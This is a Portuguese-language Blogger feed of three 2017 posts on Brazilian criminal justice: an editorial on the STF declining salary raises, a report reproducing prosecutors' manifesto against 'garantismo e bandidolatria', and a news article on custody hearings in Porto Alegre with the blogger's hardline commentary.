Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-30536665316633429772017-08-11T10:54:00.000-03:002017-08-11T10:54:06.960-03:00O BOM EXEMPLO DO STF <div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7NmYtyUT5kV7-75nhDqOkXCut94aIuTMvVzurSfiSwufa_t98JcZWCP4tpiQDw00UhQdl2k_Rg4rpjFMjzx6-PkgtM6PBU0Nr9syAAfsFb2RtwMwiGY_m5TmI9Z9TEyNDUqD-s2kftdw/s1600/juiz+cabeca.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="370" data-original-width="460" height="321" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7NmYtyUT5kV7-75nhDqOkXCut94aIuTMvVzurSfiSwufa_t98JcZWCP4tpiQDw00UhQdl2k_Rg4rpjFMjzx6-PkgtM6PBU0Nr9syAAfsFb2RtwMwiGY_m5TmI9Z9TEyNDUqD-s2kftdw/s400/juiz+cabeca.jpg" width="400" /></a></div>
<br /><br /><b>ZERO HORA 11 de Agosto de 2017</b><br />
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<b>OPINIÃO DA RBS </b><br /><br /><br /> Em meio a tantos interesses corporativistas por remuneração em plena crise, ganha evidência a decisão majoritária de integrantes do Supremo Tribunal Federal (STF) de deixar fora do orçamento de 2018 qualquer margem para reajuste salarial. Na prática, isso significa que o teto salarial dos servidores, com repercussão sobre os ganhos em todos os poderes das três instâncias da federação, permanecerá inalterado. A decisão é particularmente favorável para o setor público de maneira geral, às voltas com dificuldades para arcar com reajustes salariais de servidores.<br /><br /> Ainda agora, o governo federal planeja uma série de providências em relação aos vencimentos do funcionalismo, sob a alegação de que é preciso conter o déficit primário previsto para este ano e para o próximo. Nesse cenário, seria um contrassenso a elevação do teto salarial, hoje de R$ 33,7 mil, para R$ 39,3 mil, como ocorreria se vingasse a pretensão dos procuradores da República de aumentar seus ganhos em 16,38%. A decisão do STF fez com que o Ministério Público Federal recuasse da intenção.<br /><br /> Servidores, e não só os representados por corporações influentes, têm direito a remuneração compatível com as funções que exercem, preservada da corrosão inflacionária. Ainda assim, as pretensões não podem ser dissociadas da realidade do caixa do setor público.<br /><br /> A ministra Cármen Lúcia, presidente do STF, demonstrou estar sensível a essa questão ao defender a não aplicação de reajuste pelos ministros: ?Eu nunca vi um tempo de tamanha exigência?. O comentário deveria servir de reflexão entre as diferentes categorias do serviço público.</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-3926630078413304802017-08-08T15:56:00.001-03:002017-08-11T10:52:09.746-03:00GARANTISMO E BANDIDOLATRIA<div dir="ltr" style="text-align: left;" trbidi="on">
<b>ZERO HORA 04/08/2017 - 16h14min | Atualizada em 05/08/2017 - 11h55min<br /><br />Promotores gaúchos lideram manifesto contra "garantismo e bandidolatria". A partir das redes sociais, um grupo de 145 promotores de Justiça — 100 deles atuantes no RS — divulgaram documento criticando o que consideram decisões judiciais benéficas a criminosos.</b><br />
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<img src="http://zh.rbsdirect.com.br/imagesrc/23551600.jpg?w=640" /><br />
Eugênio Amorim é um dos mentores do manifesto Foto: Fernando Gomes / Agencia RBS <br />
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Um grupo de 145 promotores de Justiça — 100 deles do Rio Grande do Sul —, nove advogados e um juiz lançou na última quinta-feira (3) um manifesto que reacende uma polêmica no mundo jurídico. Defendem maior rigor nas penas impostas a criminosos e criticam o que chamam de "garantismo e bandidolatria" no sistema jurídico e nos cursos de Direito.<br />
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— Foi uma iniciativa que partiu de nossos grupos de discussão no WhatsApp a partir do caos que se está construindo no sistema jurídico brasileiro. As reformas propostas aos Códigos Penal e de Processo Penal vão impedir ainda mais a punição aos criminosos. Quando se fala em garantias de direitos, é uma enganação. Estão é em busca de não punir quem comete crimes — critica o promotor com atuação na Vara do Júri, em Porto Alegre, Eugênio Paes Amorim.<br />
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Ele é um dos idealizadores do manifesto intitulado: "Você tem sido enganado!". Cita entre os principais pontos de contestação a medida que impediria o uso de depoimentos de testemunhas na fase de inquérito policial nos júris. No manifesto, a crítica à reforma proposta é evidente:<br />
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— Quem opera a Justiça diariamente, defendendo a sociedade, somos nós. É sabido que uma testemunha muitas vezes volta atrás, sob ameaça, quando depõe à Justiça. Hoje, no Brasil, condena-se apenas 1% dos homicidas. No Rio Grande do Sul esse índice ainda é maior, mas a tendência, se aprovadas as propostas de mudança nos códigos, é terrível — justifica.<br />
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Em um dos trechos do manifesto disseminado a partir de grupos de discussão na internet, diz: "O que eles chamam de processo penal democrático: deveriam chamar de democida (aquele que extermina o povo)"<br />
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Para o promotor da Justiça Militar gaúcha, Luiz Eduardo de Oliveira Azevedo, é uma questão ideológica que precisa ser modificada.. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .<br />
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— Pior que garantistas, muitos juízes e alguns promotores são contra prisões. A sociedade já está farta de verdadeiros absurdos jurídicos em nome do discurso do problema social, de que o indivíduo se torna bandido por necessidade. A academia está com essa mentalidade de esquerda encrustada. O que propomos é o debate, o contraditório — explica.<br />
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Outro ponto polêmico no documento faz menção a medidas para esvaziar cadeias. O desencarceramento, para os promotores que assinam o ato significa "bandidos soltos e você preso em casa".<br />
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— É um culto bandidólatra, embasado na falta de escolha para a entrada na vida criminosa. O que eu vejo na execução penal é que o crime é cada vez mais uma escolha lucrativa, e as interpretações da lei são sempre muito benéficas aos criminosos. Então, quando eles cometem crimes, já sabem que é muito baixo o risco de lhes acontecer algo ruim — conclui a promotora responsável pelo acompanhamento da execução penal, em Porto Alegre, Débora Balzan.<br />
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Outros dois pontos de crítica do manifesto são a nova lei de abuso de autoridade e a necessidade de construção de mais presídios.<br />
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<img src="http://zh.rbsdirect.com.br/imagesrc/23551611.jpg?w=640" /><br />
Audiências de custódia estão entre os pontos criticados pelo manifesto Foto: Ronaldo Bernardi / Agencia RBS<br />
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"Eu sou, sim, um garantista"<br />
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Integrante da 3ª Câmara Criminal do Tribunal de Justiça do Rio Grande do Sul, a recordista e concessões de habeas corpus entre as 10 câmaras do tribunal, o desembargador Diógenes Vicente Hassan Ribeiro concorda em ao menos um ponto com os críticos. Sobre a necessidade de criação de vagas em presídios.<br />
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— Eu lido com dados concretos. Nos últimos dois anos, a população carcerária gaúcha aumentou em oito mil pessoas. Isso significa uma elevação de 30% sem que novas vagas tenham sido criadas. Quer dizer que está havendo a condenação: as polícias, o Ministério Público e a Justiça estão funcionando — aponta.<br />
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Diante dos conceitos de "garantismo e bandidolatria" apresentados no manifesto, o magistrado não titubeia:<br />
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— Eu sou, sim, um garantista. Tomo decisões de acordo com a lei e a Constituição. Se há críticas às decisões da 3ª Câmara, é normal. Juízes, promotores, qualquer um erra. É para isso que servem os recursos. E, afinal, qual o problema na revisão da lei de abuso de autoridade? O controle das ações é necessário.<br />
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Para o sociólogo e coordenador do programa de pós-graduação em Ciências Sociais da PUCRS, Rodrigo Ghiringhelli de Azevedo, o manifesto é reflexo da "pré-falência da segurança pública", que deixa a sociedade mais insegura. O medo, por sua vez, com facilidade, se converte em caldo de cultura para demandas vingativas. <br />
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— Esse é um debate superado, desconectado no tempo, que pode se situar no período pré-Revolução Francesa. O manifesto já vinha sendo gestado há tempo, mas o que nos surpreende é a quantidade de promotores que estão apoiando — disse.<br />
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O manifesto não é institucional, e sim uma iniciativa de alguns promotores. Procurada pela reportagem, a Procuradoria-Geral de Justiça enviou, via assessoria de imprensa, um pronunciamento do coordenador do Centro de Apoio Criminal do MP, Luciano Vaccaro. Segundo o representante do Ministério Público, o manifesto "expressa a opinião de vários promotores que atuam na área criminal e verificam, no dia a dia, as deficiências no sistema de Justiça Criminal e também chamam a atenção para várias modificações legislativas que estão em curso e que precisam ser acompanhadas pela sociedade".<br />
<img src="http://zh.rbsdirect.com.br/imagesrc/23551618.jpg?w=640" /><br />
População carcerária gaúcha aumentou 30% nos últimos dois anos Foto: Omar Freitas / Agencia RBS<br />
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A íntegra do manifesto:<br />
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"Nós, operadores do Direito realmente preocupados com a segurança pública, com o direito de ir e vir das pessoas, com a vida das pessoas de bem e não só dos bandidos, preocupados especialmente com as vítimas e não só com seus algozes, queremos revelar certas verdades a você, cidadão que sustenta o Estado e tem se enganado com ele e com certas entidades, certos professores, certos 'especialistas' e outros que parecem não querer que você saiba de certas coisas. Mas você saberá agora que muita coisa do que você tem sido induzido a pensar NÃO É VERDADE! VOCÊ TEM SIDO ENGANADO!<br />
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Você pensa que estão fazendo um novo código penal para diminuir a IMPUNIDADE e melhorar a segurança pública, mas o que está em andamento torna a LEI PENAL MAIS BRANDA e ainda dá salvo-conduto a desordeiros e terroristas fazerem o que quiserem sem responderem na Justiça. É O QUE ELES CHAMAM DE REFORMA DO CÓDIGO PENAL: QUE SÓ VAI AUMENTAR A IMPUNIDADE.<br />
<br />
Você pensa que estão preocupados com os crimes nas ruas, os assassinatos, os assaltos, com a impunidade, mas eles estão tentando tirar criminosos perigosos da prisão e colocá-los nas ruas, aumentando o perigo para os cidadãos e alegando presídios cheios, enquanto ao mesmo tempo são contra construir novos presídios parecendo que querem continuar a ter a mesma alegação pra continuarem soltando. É O QUE ELES CHAMAM DE DESENCARCERAMENTO: BANDIDOS SOLTOS E VOCÊ PRESO EM CASA COM MEDO, OU CORRENDO RISCO NA RUA.<br />
<br />
Você pensa que eles se preocupam com sua vida, mas criaram uma audiência que resultou no aumento daqueles casos em que o marginal perigoso é imediatamente solto e faz outras vítimas nos dias seguintes. É O QUE ELES CHAMAM DE AUDIÊNCIA DE CUSTÓDIA.<br />
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Você pensa que estão fazendo mudanças no Código de Processo Penal para que ele facilite a apuração da verdade, e que se evite impunidade, e que se evite o deboche da justiça, e que se dê algum consolo à família das vítimas. Mas o que estão fazendo é PROIBIR que o Ministério Público possa expor certas verdades. É colocar número par de jurados e decretar que o empate pode absolver, para aumentar as chances de salvar assassinos. É permitir que a defesa fale duas vezes enquanto o MP só fala uma. É proibir que se leiam depoimentos do inquérito que foram produzidos antes das testemunhas serem ameaçadas, antes delas estarem com medo, antes delas serem compradas¿ É O QUE ELES CHAMAM DE PROCESSO PENAL DEMOCRÁTICO: DEVIAM CHAMAR DE PROCESSO PENAL DEMOCIDA (AQUELE QUE EXTERMINA O POVO).<br />
<br />
Você pensa que estão fazendo uma lei para evitar o abuso de autoridade de qualquer um, mas ELES ESTÃO MESMO É FAZENDO UMA LEI QUE SÓ ATINGE PROMOTORES, POLICIAIS E JUÍZES e voltada a garantir que qualquer criminoso faça represálias sem fundamento contra quem ousar promover justiça. É O QUE ELES CHAMAM DE NOVA LEI DO ABUSO DE AUTORIDADE: SÓ VAI ATINGIR A AUTORIDADE QUE ATUA DE FORMA JUSTA E EFICIENTE.<br />
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Você pensa que eles querem Democracia e Justiça, mas eles criam uma proposta de Lei, VIOLANDO A CONSTITUIÇÃO, para punir promotores e juízes que deles discordarem, acusando-os da indefinida conduta – que serve pra tudo, quando se quiser—de violar prerrogativas da classe– e ainda permitindo que, contra a Constituição, uma corporação possa fazer procedimentos inconstitucionais contra promotores, juízes e policiais. É O QUE ALGUNS CHAMAM DE GARANTIR AS PRERROGATIVAS DA CLASSE: PARA QUE SE POSSA CONSTRANGER PROMOTORES, JUÍZES E POLICIAIS E DEIXÁ-LOS COM MEDO DE CONTRARIAREM VOLUNTARISMOS ILEGAIS E CHICANAS E TORNA A CLASSE A MAIS PODEROSA E DIFERENCIADA DO PAÍS.<br />
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Você pensa que eles querem garantias para você, cidadão, mas eles só querem que não haja punições de verdade, só querem garantir criminosos¿ É O QUE ELES CHAMAM DE GARANTISMO, NO BRASIL: QUE TEM GERADO CADA VEZ MAIS IMPUNIDADE DA FORMA QUE APLICAM.<br />
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Enfim, você pensa que eles querem te proteger, mas QUASE TODAS AS MEDIDAS SÃO PARA PROTEGER CRIMINOSOS E GARANTIR IMPUNIDADE.<br />
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Pelas obras e pelos frutos você verá melhor quem é quem: PRESTE SEMPRE ATENÇÃO. Em breve falaremos mais, revelaremos mais, explicaremos mais. Este é só o primeiro dos manifestos.<br />
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'Quem poupa o lobo sacrifica as ovelhas' (Victor Hugo)<br />
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Bandidolatria mata.<br />
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Desencarceramento mata.<br />
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Impunidade mata."</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-40575783710802268962017-08-07T06:51:00.004-03:002017-08-07T06:51:41.567-03:00AUDIÊNCIA DE CUSTÓDIA EM POA DESRESPEITAM RESOLUÇÃO CNJ<div dir="ltr" style="text-align: left;" trbidi="on">
<br /><span data-offset-key="2lmrt-0-0"><span data-text="true"><img alt="Procedimento foi implementado no Estado em julho de 2015" border="0" height="425" src="http://jcrs.uol.com.br/_midias/jpg/Imagens6/F_0001249060.JPG" title="Procedimento foi implementado no Estado em julho de 2015" width="640" /><br /><b>JORNAL DO COMÉRCIO 07/08/2017. <br /><br />Audiências de custódia na Capital desrespeitam resolução do CNJ. Procedimento foi implementado no Estado em julho de 2015. </b></span></span><br />
<br />
<span data-offset-key="2lmrt-0-0"><span data-text="true">No final de julho, completaram-se dois anos da implementação das audiências de custódia no Rio Grande do Sul. No ano passado, o Jornal do Comércio conversou com especialistas para fazer um balanço do primeiro ano da medida, e constatou que alguns problemas significativos ocorriam. Um ano depois, houve pouco avanço no que diz respeito a essas incongruências encontradas. Isso porque a Resolução nº 213, do Conselho Nacional de Justiça (CNJ), determina que todo preso em flagrante seja encaminhado à autoridade judicial em um prazo de 24 horas. No entanto, em Porto Alegre, isso nem sempre acontece. </span></span><br />
<br />
<span data-offset-key="2lmrt-0-0"><span data-text="true">Os presos em flagrante são levados ao Presídio Central (ou à Penitenciária Feminina Madre Pelletier, caso sejam mulheres) antes mesmo de passarem pela audiência de custódia. Enquanto aguardam, o juiz plantonista recebe o auto de prisão em flagrante e decide, no próprio Foro Central, se o indivíduo deve continuar preso ou não. No dia seguinte, esse mesmo juiz plantonista se desloca até os presídios para realizar a audiência de custódia daqueles presos que não foram soltos por ele no dia anterior. <br /><br />"É uma violação expressa da resolução do CNJ. O local é inadequado, nem todo mundo que deveria ser levado é levado, alguns presos em flagrante acabam sendo soltos antes. E tudo isso é feito com condescendência da Justiça (gaúcha)", argumenta o promotor Mauro Fonseca Andrade, que atua nesse tipo de audiência. Considerando que alguns presos são soltos antes de passarem pelo crivo da audiência de custódia, não se sabe nada sobre eles - o que os motivou a cometer o delito e se passaram por alguma situação de tortura ou violência no ato da prisão em flagrante. E há, também, o caso daqueles presos reincidentes, que respondem a algum processo criminal, e que não são encaminhados ao juiz justamente pelo fato de já terem cometido delitos. <br /><br />De acordo com o Mapa de Implantação das Audiências de Custódia do CNJ, entre 30 de julho de 2015 e 30 de abril de 2017, foram realizadas 6.253 audiências de custódia no Rio Grande do Sul. Do total, 5.297 foram presos preventivamente, e 956, soltos. Além disso, 374 alegaram ter sofrido algum tipo de violência no ato da prisão, e 44 foram encaminhados para o serviço social. <br /><br />No mesmo período, o Tribunal de Justiça do Rio Grande do Sul (TJ-RS) recebeu, em todas as comarcas, 41.159 autos em flagrante. Isso significa que somente 15,1% dos presos em flagrante foram levados à audiência de custódia. <br /><br />Comparando esses números, percebe-se que há uma falsa ideia de que o Rio Grande do Sul é um dos estados mais rígidos no cumprimento das audiências. Andrade argumenta que os dados repassados ao CNJ pelo TJ-RS não são confiáveis. "Aparece que o Rio Grande do Sul é um dos estados com maior número de prisões, mas esse dado está adulterado, e não há perspectiva de que a maneira como o procedimento é feito mude", pondera o promotor. Para ele, o descumprimento da resolução é vexatório. <br /><b><br />Relatos de abuso no ato da prisão são o principal avanço </b><br /><br />O Tribunal de Justiça do Rio Grande do Sul (TJ-RS) explica que, devido à impossibilidade de a Superintendência de Serviços Penitenciários (Susepe) levar todos os presos em flagrante perante o juiz, foi adotado o modelo utilizado atualmente em Porto Alegre, no qual o juiz avalia preliminarmente com base no auto de prisão, sem a presença do preso, e que envolve também a ida do magistrado ao presídio. Essa dificuldade foi justificada pela Susepe como resultado do déficit de agentes penitenciários. <br /><br />Para o juiz-corregedor do TJ-RS, Vanderlei Deolindo, as audiências de custódia têm extrema importância, uma vez que, frequentemente, pessoas que não praticaram crimes se veem envolvidas em situações que as levam à prisão também. A audiência de custódia garante, portanto, o direito de que todo e qualquer preso seja levado à presença de um juiz, que avaliará as circunstâncias da detenção e se houve algum ato de abuso ou violência. Já para o advogado e professor da Fundação Escola Superior do Ministério Público (FMP) Mateus Marques, o principal avanço da audiência de custódia está relacionado, de fato, aos relatos dos presos, que podem evidenciar e provar ao juiz atos de abuso - que pode ter sido realizado pelo policial, pela vítima ou por alguma eventual testemunha do crime. <br /><br />Uma vez que os presos são logo encaminhados aos presídios, o suspeito, mesmo sem condenação efetiva, já entra em contato com o universo dos encarcerados. "A pessoa entra no sistema antes de ter a prisão decretada legalmente. E isso acontece porque não há interesse do Judiciário em mudar", defende. Outra preocupação do advogado diz respeito à análise de fato. "Temos preocupação com os critérios que são utilizados pelos juízes na decisão de soltura ou manutenção da prisão preventiva", relata. <br /><br />Embora o relato do preso também seja levado em consideração, é preciso que o juiz consiga constatar visualmente que houve violência - daí a importância da audiência presencial. Se for demonstrado que houve abuso, o juiz determina a expedição de um ofício da corregedoria da Brigada Militar ou da Polícia Civil. Também são requisitados ofícios ao setor de Direitos Humanos da Defensoria Pública e do Ministério Público, esperando-se que essas instituições adotem providências necessárias para apurar a responsabilidade dos envolvidos. <br /><br />Outra intenção da audiência de custódia, a de desafogar presídios, também não vem sendo constatada no Estado. "No nosso modelo, são poucos que estão sendo soltos, porque já fazemos uma triagem preliminar, desenvolvida com muito critério", esclarece Deolindo. Ele estima que, diariamente, o juiz plantonista receba entre 15 e 30 autos de prisão em flagrante. Segundo o juiz-corregedor do TJ-RS, a proporção é de 40% de soltura e 60% de presos levados à audiência de custódia. -<br /><br /> Jornal do Comércio (http://jcrs.uol.com.br/_conteudo/2017/08/geral/577824-audiencias-de-custodia-na-capital-desrespeitam-resolucao-do-cnj.html)<br /><br /><br /><b>COMENTÁRIO DO BENGOCHEA -</b> Qual é o propósito das Audiências de Custódia? É apenas uma audiência para o juiz e defensoria garantirem o direito do criminoso, desafogar os presídios e vigiar a ação policial, desprezando o crime, o direito das vítimas, a dor da família das vítimas, o depoimento das testemunhas, o esforço policial, o direito de todos à segurança e o terror vivido pela população refém dos bandidos. É uma audiência que serve para ALIMENTAR o crime.</span></span><br />
<br />
<span data-offset-key="2lmrt-0-0"><span data-text="true">Deveria ser uma audiência preliminar da JUSTIÇA para coibir, punir e dissuadir o crime em processos e decisões ágeis, desburocratizados e coativas para garantir a força, o respeito e a aplicação da Lei, da Ordem e do Direito. Não é a toa o aumento da violência no Brasil.</span></span><br />
<div style="left: -99999px; position: absolute;">
Justiça Notícia da
edição impressa de 07/08/2017. Alterada em 06/08 às 19h28min
Audiências de custódia na Capital desrespeitam resolução do CNJ
Procedimento foi implementado no Estado em julho de 2015
Procedimento foi implementado no Estado em julho de 2015
LUIZ SILVEIRA/ AG/DIVULGAÇÃO/JC
Suzy Scarton
No final de julho, completaram-se dois anos da implementação das
audiências de custódia no Rio Grande do Sul. No ano passado, o Jornal do
Comércio conversou com especialistas para fazer um balanço do primeiro
ano da medida, e constatou que alguns problemas significativos ocorriam.
Um ano depois, houve pouco avanço no que diz respeito a essas
incongruências encontradas. Isso porque a Resolução nº 213, do Conselho
Nacional de Justiça (CNJ), determina que todo preso em flagrante seja
encaminhado à autoridade judicial em um prazo de 24 horas. No entanto,
em Porto Alegre, isso nem sempre acontece.
Os presos em flagrante são levados ao Presídio Central (ou à
Penitenciária Feminina Madre Pelletier, caso sejam mulheres) antes mesmo
de passarem pela audiência de custódia. Enquanto aguardam, o juiz
plantonista recebe o auto de prisão em flagrante e decide, no próprio
Foro Central, se o indivíduo deve continuar preso ou não. No dia
seguinte, esse mesmo juiz plantonista se desloca até os presídios para
realizar a audiência de custódia daqueles presos que não foram soltos
por ele no dia anterior.
"É uma violação expressa da resolução do CNJ. O local é inadequado, nem
todo mundo que deveria ser levado é levado, alguns presos em flagrante
acabam sendo soltos antes. E tudo isso é feito com condescendência da
Justiça (gaúcha)", argumenta o promotor Mauro Fonseca Andrade, que atua
nesse tipo de audiência. Considerando que alguns presos são soltos antes
de passarem pelo crivo da audiência de custódia, não se sabe nada sobre
eles - o que os motivou a cometer o delito e se passaram por alguma
situação de tortura ou violência no ato da prisão em flagrante. E há,
também, o caso daqueles presos reincidentes, que respondem a algum
processo criminal, e que não são encaminhados ao juiz justamente pelo
fato de já terem cometido delitos.
De acordo com o Mapa de Implantação das Audiências de Custódia do CNJ,
entre 30 de julho de 2015 e 30 de abril de 2017, foram realizadas 6.253
audiências de custódia no Rio Grande do Sul. Do total, 5.297 foram
presos preventivamente, e 956, soltos. Além disso, 374 alegaram ter
sofrido algum tipo de violência no ato da prisão, e 44 foram
encaminhados para o serviço social.
No mesmo período, o Tribunal de Justiça do Rio Grande do Sul (TJ-RS)
recebeu, em todas as comarcas, 41.159 autos em flagrante. Isso significa
que somente 15,1% dos presos em flagrante foram levados à audiência de
custódia.
Comparando esses números, percebe-se que há uma falsa ideia de que o Rio
Grande do Sul é um dos estados mais rígidos no cumprimento das
audiências. Andrade argumenta que os dados repassados ao CNJ pelo TJ-RS
não são confiáveis. "Aparece que o Rio Grande do Sul é um dos estados
com maior número de prisões, mas esse dado está adulterado, e não há
perspectiva de que a maneira como o procedimento é feito mude", pondera o
promotor. Para ele, o descumprimento da resolução é vexatório.
Relatos de abuso no ato da prisão são o principal avanço
O Tribunal de Justiça do Rio Grande do Sul (TJ-RS) explica que, devido à
impossibilidade de a Superintendência de Serviços Penitenciários
(Susepe) levar todos os presos em flagrante perante o juiz, foi adotado o
modelo utilizado atualmente em Porto Alegre, no qual o juiz avalia
preliminarmente com base no auto de prisão, sem a presença do preso, e
que envolve também a ida do magistrado ao presídio. Essa dificuldade foi
justificada pela Susepe como resultado do déficit de agentes
penitenciários.
Para o juiz-corregedor do TJ-RS, Vanderlei Deolindo, as audiências de
custódia têm extrema importância, uma vez que, frequentemente, pessoas
que não praticaram crimes se veem envolvidas em situações que as levam à
prisão também. A audiência de custódia garante, portanto, o direito de
que todo e qualquer preso seja levado à presença de um juiz, que
avaliará as circunstancias da detenção e se houve algum ato de abuso ou
violência.
Já para o advogado e professor da Fundação Escola Superior do Ministério
Público (FMP) Mateus Marques, o principal avanço da audiência de
custódia está relacionado, de fato, aos relatos dos presos, que podem
evidenciar e provar ao juiz atos de abuso - que pode ter sido realizado
pelo policial, pela vítima ou por alguma eventual testemunha do crime.
Uma vez que os presos são logo encaminhados aos presídios, o suspeito,
mesmo sem condenação efetiva, já entra em contato com o universo dos
encarcerados. "A pessoa entra no sistema antes de ter a prisão decretada
legalmente. E isso acontece porque não há interesse do Judiciário em
mudar", defende. Outra preocupação do advogado diz respeito à análise de
fato. "Temos preocupação com os critérios que são utilizados pelos
juízes na decisão de soltura ou manutenção da prisão preventiva",
relata.
Embora o relato do preso também seja levado em consideração, é preciso
que o juiz consiga constatar visualmente que houve violência - daí a
importância da audiência presencial. Se for demonstrado que houve abuso,
o juiz determina a expedição de um ofício da corregedoria da Brigada
Militar ou da Polícia Civil. Também são requisitados ofícios ao setor de
Direitos Humanos da Defensoria Pública e do Ministério Público,
esperando-se que essas instituições adotem providências necessárias para
apurar a responsabilidade dos envolvidos.
Outra intenção da audiência de custódia, a de desafogar presídios,
também não vem sendo constatada no Estado. "No nosso modelo, são poucos
que estão sendo soltos, porque já fazemos uma triagem preliminar,
desenvolvida com muito critério", esclarece Deolindo. Ele estima que,
diariamente, o juiz plantonista receba entre 15 e 30 autos de prisão em
flagrante. Segundo o juiz-corregedor do TJ-RS, a proporção é de 40% de
soltura e 60% de presos levados à audiência de custódia. - Jornal do
Comércio
(http://jcrs.uol.com.br/_conteudo/2017/08/geral/577824-audiencias-de-custodia-na-capital-desrespeitam-resolucao-do-cnj.html)</div>
<div style="left: -99999px; position: absolute;">
uzy Scarton
No final de julho, completaram-se dois anos da implementação das
audiências de custódia no Rio Grande do Sul. No ano passado, o Jornal do
Comércio conversou com especialistas para fazer um balanço do primeiro
ano da medida, e constatou que alguns problemas significativos ocorriam.
Um ano depois, houve pouco avanço no que diz respeito a essas
incongruências encontradas. Isso porque a Resolução nº 213, do Conselho
Nacional de Justiça (CNJ), determina que todo preso em flagrante seja
encaminhado à autoridade judicial em um prazo de 24 horas. No entanto,
em Porto Alegre, isso nem sempre acontece.
Os presos em flagrante são levados ao Presídio Central (ou à
Penitenciária Feminina Madre Pelletier, caso sejam mulheres) antes mesmo
de passarem pela audiência de custódia. Enquanto aguardam, o juiz
plantonista recebe o auto de prisão em flagrante e decide, no próprio
Foro Central, se o indivíduo deve continuar preso ou não. No dia
seguinte, esse mesmo juiz plantonista se desloca até os presídios para
realizar a audiência de custódia daqueles presos que não foram soltos
por ele no dia anterior.
"É uma violação expressa da resolução do CNJ. O local é inadequado, nem
todo mundo que deveria ser levado é levado, alguns presos em flagrante
acabam sendo soltos antes. E tudo isso é feito com condescendência da
Justiça (gaúcha)", argumenta o promotor Mauro Fonseca Andrade, que atua
nesse tipo de audiência. Considerando que alguns presos são soltos antes
de passarem pelo crivo da audiência de custódia, não se sabe nada sobre
eles - o que os motivou a cometer o delito e se passaram por alguma
situação de tortura ou violência no ato da prisão em flagrante. E há,
também, o caso daqueles presos reincidentes, que respondem a algum
processo criminal, e que não são encaminhados ao juiz justamente pelo
fato de já terem cometido delitos.
De acordo com o Mapa de Implantação das Audiências de Custódia do CNJ,
entre 30 de julho de 2015 e 30 de abril de 2017, foram realizadas 6.253
audiências de custódia no Rio Grande do Sul. Do total, 5.297 foram
presos preventivamente, e 956, soltos. Além disso, 374 alegaram ter
sofrido algum tipo de violência no ato da prisão, e 44 foram
encaminhados para o serviço social.
No mesmo período, o Tribunal de Justiça do Rio Grande do Sul (TJ-RS)
recebeu, em todas as comarcas, 41.159 autos em flagrante. Isso significa
que somente 15,1% dos presos em flagrante foram levados à audiência de
custódia.
Comparando esses números, percebe-se que há uma falsa ideia de que o Rio
Grande do Sul é um dos estados mais rígidos no cumprimento das
audiências. Andrade argumenta que os dados repassados ao CNJ pelo TJ-RS
não são confiáveis. "Aparece que o Rio Grande do Sul é um dos estados
com maior número de prisões, mas esse dado está adulterado, e não há
perspectiva de que a maneira como o procedimento é feito mude", pondera o
promotor. Para ele, o descumprimento da resolução é vexatório.
Relatos de abuso no ato da prisão são o principal avanço
O Tribunal de Justiça do Rio Grande do Sul (TJ-RS) explica que, devido à
impossibilidade de a Superintendência de Serviços Penitenciários
(Susepe) levar todos os presos em flagrante perante o juiz, foi adotado o
modelo utilizado atualmente em Porto Alegre, no qual o juiz avalia
preliminarmente com base no auto de prisão, sem a presença do preso, e
que envolve também a ida do magistrado ao presídio. Essa dificuldade foi
justificada pela Susepe como resultado do déficit de agentes
penitenciários.
Para o juiz-corregedor do TJ-RS, Vanderlei Deolindo, as audiências de
custódia têm extrema importância, uma vez que, frequentemente, pessoas
que não praticaram crimes se veem envolvidas em situações que as levam à
prisão também. A audiência de custódia garante, portanto, o direito de
que todo e qualquer preso seja levado à presença de um juiz, que
avaliará as circunstancias da detenção e se houve algum ato de abuso ou
violência.
Já para o advogado e professor da Fundação Escola Superior do Ministério
Público (FMP) Mateus Marques, o principal avanço da audiência de
custódia está relacionado, de fato, aos relatos dos presos, que podem
evidenciar e provar ao juiz atos de abuso - que pode ter sido realizado
pelo policial, pela vítima ou por alguma eventual testemunha do crime.
Uma vez que os presos são logo encaminhados aos presídios, o suspeito,
mesmo sem condenação efetiva, já entra em contato com o universo dos
encarcerados. "A pessoa entra no sistema antes de ter a prisão decretada
legalmente. E isso acontece porque não há interesse do Judiciário em
mudar", defende. Outra preocupação do advogado diz respeito à análise de
fato. "Temos preocupação com os critérios que são utilizados pelos
juízes na decisão de soltura ou manutenção da prisão preventiva",
relata.
Embora o relato do preso também seja levado em consideração, é preciso
que o juiz consiga constatar visualmente que houve violência - daí a
importância da audiência presencial. Se for demonstrado que houve abuso,
o juiz determina a expedição de um ofício da corregedoria da Brigada
Militar ou da Polícia Civil. Também são requisitados ofícios ao setor de
Direitos Humanos da Defensoria Pública e do Ministério Público,
esperando-se que essas instituições adotem providências necessárias para
apurar a responsabilidade dos envolvidos.
Outra intenção da audiência de custódia, a de desafogar presídios,
também não vem sendo constatada no Estado. "No nosso modelo, são poucos
que estão sendo soltos, porque já fazemos uma triagem preliminar,
desenvolvida com muito critério", esclarece Deolindo. Ele estima que,
diariamente, o juiz plantonista receba entre 15 e 30 autos de prisão em
flagrante. Segundo o juiz-corregedor do TJ-RS, a proporção é de 40% de
soltura e 60% de presos levados à audiência de custódia. - Jornal do
Comércio
(http://jcrs.uol.com.br/_conteudo/2017/08/geral/577824-audiencias-de-custodia-na-capital-desrespeitam-resolucao-do-cnj.html)</div>
<div style="left: -99999px; position: absolute;">
uzy Scarton
No final de julho, completaram-se dois anos da implementação das
audiências de custódia no Rio Grande do Sul. No ano passado, o Jornal do
Comércio conversou com especialistas para fazer um balanço do primeiro
ano da medida, e constatou que alguns problemas significativos ocorriam.
Um ano depois, houve pouco avanço no que diz respeito a essas
incongruências encontradas. Isso porque a Resolução nº 213, do Conselho
